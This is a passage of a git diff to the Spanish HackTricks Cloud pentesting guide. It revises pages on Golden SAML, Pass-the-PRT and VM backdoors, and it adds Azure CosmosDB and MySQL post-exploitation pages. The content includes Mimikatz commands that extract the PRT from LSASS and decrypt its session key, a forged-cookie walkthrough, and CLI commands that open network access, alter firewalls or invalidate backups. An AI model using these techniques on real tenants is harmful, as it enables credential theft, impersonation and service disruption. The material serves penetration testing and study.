reclamos son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamos ubicadas en cualquier parte de Internet." -- Los reclamos para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP. -- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD. +- AD FS es un modelo de identidad basado en reclamaciones. +- "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet." +- Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP. +- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD. - El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. - Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Ataque Golden SAML:** - En ADFS, la SAML Response es firmada por un certificado de firma de token. -- Si el certificado está comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! +- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! - Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación. - El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet. - Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -56,7 +56,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks El proceso donde un **Proveedor de Identidad (IdP)** produce una **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza. -Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP. +Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP. Los Golden SAML ofrecen ciertas ventajas: @@ -67,7 +67,7 @@ Los Golden SAML ofrecen ciertas ventajas: #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación. +[Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación. Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. @@ -81,7 +81,7 @@ Los requisitos para ejecutar un ataque Golden SAML incluyen: - Nombre de sesión de rol en AWS - ID de cuenta de Amazon -_Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee._ +_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._ Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS: ```powershell diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index b1e7c1b91..3aa31ce65 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -36,9 +36,9 @@ La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSO ``` El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización primario dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`. -### Flujo de la cookie PRT usando TPM +### Flujo de Cookies PRT usando TPM -El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se utiliza para **firmar la cookie PRT (JWT).** +El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).** El **KDF context es** un nonce de AzureAD y el PRT creando un **JWT** mezclado con un **contexto** (bytes aleatorios). @@ -46,14 +46,14 @@ Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dent
-## Escenarios de abuso de PRT +## Escenarios de Abuso de PRT Como **usuario regular**, es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\ -Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde se utiliza una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS. +Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde una **cookie PRT** se usa como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS. Como **SYSTEM**, podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas. -## Ejemplos de ataque Pass-the-PRT +## Ejemplos de Ataques Pass-the-PRT ### Ataque - ROADtoken @@ -152,9 +152,9 @@ Luego ve a [https://portal.azure.com](https://portal.azure.com) #### Pasos -1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior. -2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Se puede encontrar información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) en estos recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. El **PRT (Primary Refresh Token) se extrae de LSASS** (Local Security Authority Subsystem Service) y se almacena para su uso posterior. +2. La **clave de sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Data Protection API) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md). +3. Después del descifrado de la clave de sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\ @@ -180,21 +180,21 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Copia** la parte etiquetada como **Prt** y guárdala.\ -Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está encriptado y necesitaremos usar nuestras claves maestras de DPAPI para desencriptarlo. +Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo.
> [!NOTE] > Si no ves ningún dato de PRT, podría ser que **no tengas ningún PRT** porque tu dispositivo no está unido a Azure AD o podría ser que estás **ejecutando una versión antigua** de Windows 10. -Para **desencriptar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para desencriptarlo**. Puedes usar los siguientes comandos para hacerlo: +Para **descifrar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para descifrarla**. Puedes usar los siguientes comandos para hacerlo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ```
-#### Opción 1 - Mimikatz completo +#### Opción 1 - Mimikatz Completo - Ahora quieres copiar tanto el valor de Contexto: @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - Luego ve a [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> El resto debería ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien. +> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien. #### Opción 2 - roadrecon usando PRT diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 7b00d48d9..6744e10d2 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -10,16 +10,16 @@ Para más información sobre VMs, consulta: ../az-services/vms/ {{#endref}} -### Aplicaciones, extensiones e imágenes de VM con puerta trasera +### Aplicaciones de VM, Extensiones e Imágenes de puerta trasera Un atacante identifica aplicaciones, extensiones o imágenes que se utilizan con frecuencia en la cuenta de Azure, podría insertar su código en las aplicaciones y extensiones de VM para que cada vez que se instalen, se ejecute la puerta trasera. -### Instancias con puerta trasera +### Instancias de puerta trasera Un atacante podría acceder a las instancias y ponerles puerta trasera: - Usando un **rootkit** tradicional, por ejemplo -- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Agregando una nueva **clave SSH pública** (consulta [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html)) - Poniendo puerta trasera en los **Datos del Usuario** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md new file mode 100644 index 000000000..463bec33a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -0,0 +1,243 @@ +# Az - CosmosDB Post Exploitation + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## CosmosDB Post Exploitation +Para más información sobre SQL Database consulta: + +{% content-ref url="../az-services/az-cosmosDB.md" %} +[az-cosmosDB.md](../az-services/az-cosmosDB.md) +{% endcontent-ref %} + + +### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +Con este permiso, puedes crear o actualizar cuentas de Azure Cosmos DB. Esto incluye modificar configuraciones a nivel de cuenta, agregar o eliminar regiones, cambiar niveles de consistencia y habilitar o deshabilitar características como escrituras en múltiples regiones. + +{% code overflow="wrap" %} +```bash +az cosmosdb update \ +--name \ +--resource-group \ +--public-network-access ENABLED +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +Con este permiso, puedes crear o modificar contenedores (colecciones) dentro de una base de datos SQL de una cuenta de Azure Cosmos DB. Los contenedores se utilizan para almacenar datos, y los cambios en ellos pueden afectar la estructura de la base de datos y los patrones de acceso. + +{% code overflow="wrap" %} +```bash +# Create +az cosmosdb sql container create \ +--account-name \ +--resource-group \ +--database-name \ +--name \ +--partition-key-path + +#Update +az cosmosdb sql container update \ +--account-name \ +--resource-group \ +--database-name \ +--name \ +--ttl 3600 +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" +Con este permiso, puedes crear o modificar bases de datos SQL dentro de una cuenta de Azure Cosmos DB. Esto permite gestionar la estructura de la base de datos y agregar nuevas bases de datos a la cuenta. Si bien este permiso permite la creación de bases de datos, el uso indebido o no autorizado podría resultar en un consumo innecesario de recursos, costos incrementados o ineficiencias operativas. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql database create \ +--account-name \ +--resource-group \ +--name +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" + +Con este permiso, puedes cambiar la prioridad de conmutación por error de las regiones para una cuenta de base de datos de Azure Cosmos DB. Esta acción determina el orden en el que las regiones se convierten en primarias durante un evento de conmutación por error. El uso inadecuado de este permiso puede interrumpir la alta disponibilidad de la base de datos o provocar impactos operativos no deseados. + +{% code overflow="wrap" %} +```bash +az cosmosdb failover-priority-change \ +--name \ +--resource-group \ +--failover-policies + +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +Con este permiso, puedes regenerar las claves primaria o secundaria para una cuenta de Azure Cosmos DB. Esto se utiliza típicamente para mejorar la seguridad al reemplazar claves antiguas, pero puede interrumpir el acceso a servicios o aplicaciones que dependen de las claves actuales. + +{% code overflow="wrap" %} +```bash +az cosmosdb keys regenerate \ +--name \ +--resource-group \ +--key-kind + +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" + +Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql trigger create \ +--account-name \ +--resource-group \ +--database-name \ +--container-name \ +--name \ +--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \ +--type Pre \ +--operation All +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular lógica para procesar datos o realizar operaciones directamente dentro de la base de datos. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql stored-procedure create \ +--account-name \ +--resource-group \ +--database-name \ +--container-name \ +--name \ +--body 'function sample() { return "Hello, Cosmos!"; }' +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" +Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql trigger create \ +--account-name \ +--resource-group \ +--database-name \ +--container-name \ +--name \ +--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \ +--type Pre \ +--operation All +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +Con este permiso, puedes crear o modificar colecciones dentro de bases de datos MongoDB en una cuenta de Azure Cosmos DB. Las colecciones se utilizan para almacenar documentos y definir la estructura y particionamiento de los datos. + +{% code overflow="wrap" %} +```bash +az cosmosdb mongodb collection create \ +--account-name \ +--resource-group \ +--database-name \ +--name +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +Con este permiso, puedes crear nuevas bases de datos MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite aprovisionar nuevas bases de datos para almacenar y gestionar colecciones y documentos. + +{% code overflow="wrap" %} +```bash +az cosmosdb mongodb database create \ +--account-name \ +--resource-group \ +--name +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +Con este permiso, puedes crear nuevas definiciones de roles de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite definir roles personalizados con permisos específicos para los usuarios de MongoDB. + +{% code overflow="wrap" %} +```bash +az cosmosdb mongodb role definition create \ +--account-name \ +--resource-group \ +--body '{ +"Id": ".readWriteRole", +"RoleName": "readWriteRole", +"Type": "CustomRole", +"DatabaseName": "", +"Privileges": [ +{ +"Resource": { +"Db": "", +"Collection": "mycollection" +}, +"Actions": [ +"insert", +"find", +"update" +] +} +], +"Roles": [] +}' +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" +Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a bases de datos de MongoDB. +{% code overflow="wrap" %} +```bash +az cosmosdb mongodb user definition create \ +--account-name \ +--resource-group \ +--body '{ +"Id": ".myUser", +"UserName": "myUser", +"Password": "mySecurePassword", +"DatabaseName": "", +"CustomData": "TestCustomData", +"Mechanisms": "SCRAM-SHA-256", +"Roles": [ +{ +"Role": "readWriteRole", +"Db": "" +} +] +}' +``` +{% endcode %} + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md new file mode 100644 index 000000000..bfa78ae9a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -0,0 +1,167 @@ +# Az - MySQL Post Exploitation + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## Post Explotación de Base de Datos MySQL +Para más información sobre la Base de Datos MySQL consulta: + +{% content-ref url="../az-services/az-mysql.md" %} +[az-mysql.md](../az-services/az-mysql.md) +{% endcontent-ref %} + +### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" + +Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de MySQL Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar a un consumo de recursos o un posible uso indebido del servidor. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server db create \ +--server-name \ +--resource-group \ +--database-name +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/backups/write" + +Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de MySQL Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server backup create \ +--name \ +--resource-group +--backup-name +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" + +Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server threat-protection-policy update \ +--name \ +--resource-group \ +--state +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" + +Con este permiso, puedes crear o modificar reglas de firewall para una instancia de MySQL Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos. + +{% code overflow="wrap" %} +```bash +# Create Rule +az mysql flexible-server firewall-rule create \ +--name \ +--resource-group \ +--rule-name \ +--start-ip-address \ +--end-ip-address + +# Update Rule +az mysql flexible-server firewall-rule update \ +--name \ +--resource-group \ +--rule-name \ +--start-ip-address \ +--end-ip-address +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" + +Con este permiso, puedes restablecer el GTID (Identificador Global de Transacción) para una instancia de MySQL Flexible Server en Azure. Restablecer el GTID invalidará todas las copias de seguridad automatizadas, bajo demanda y geo-copias de seguridad que se tomaron antes de la acción de restablecimiento. Después del restablecimiento del GTID, no podrás realizar PITR (restauración en un punto en el tiempo) utilizando el punto de restauración más rápido o mediante un punto de restauración personalizado si el tiempo de restauración seleccionado es anterior al tiempo de restablecimiento del GTID. Y la geo-restauración exitosa solo será posible después de 5 días. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server reset-gtid \ +--name \ +--resource-group \ +--gtid-set +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" + +Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors y max_connections. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server parameter set-batch \ +--resource-group \ +--server-name \ +--args max_connections= +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" + +Con este permiso, puedes asignar una identidad administrada asignada por el usuario a los servidores flexibles de MySQL. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server identity assign \ +--resource-group \ +--server-name \ +--identity +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/stop/action" + +Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server stop \ +--name \ +--resource-group +``` +{% endcode %} + +### "Microsoft.DBforMySQL/flexibleServers/start/action" +With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server start \ +--name \ +--resource-group +``` +{% endcode %} + +### "*/delete" + +With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md new file mode 100644 index 000000000..683631399 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -0,0 +1,155 @@ +# Az - PostgreSQL Post Exploitation + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
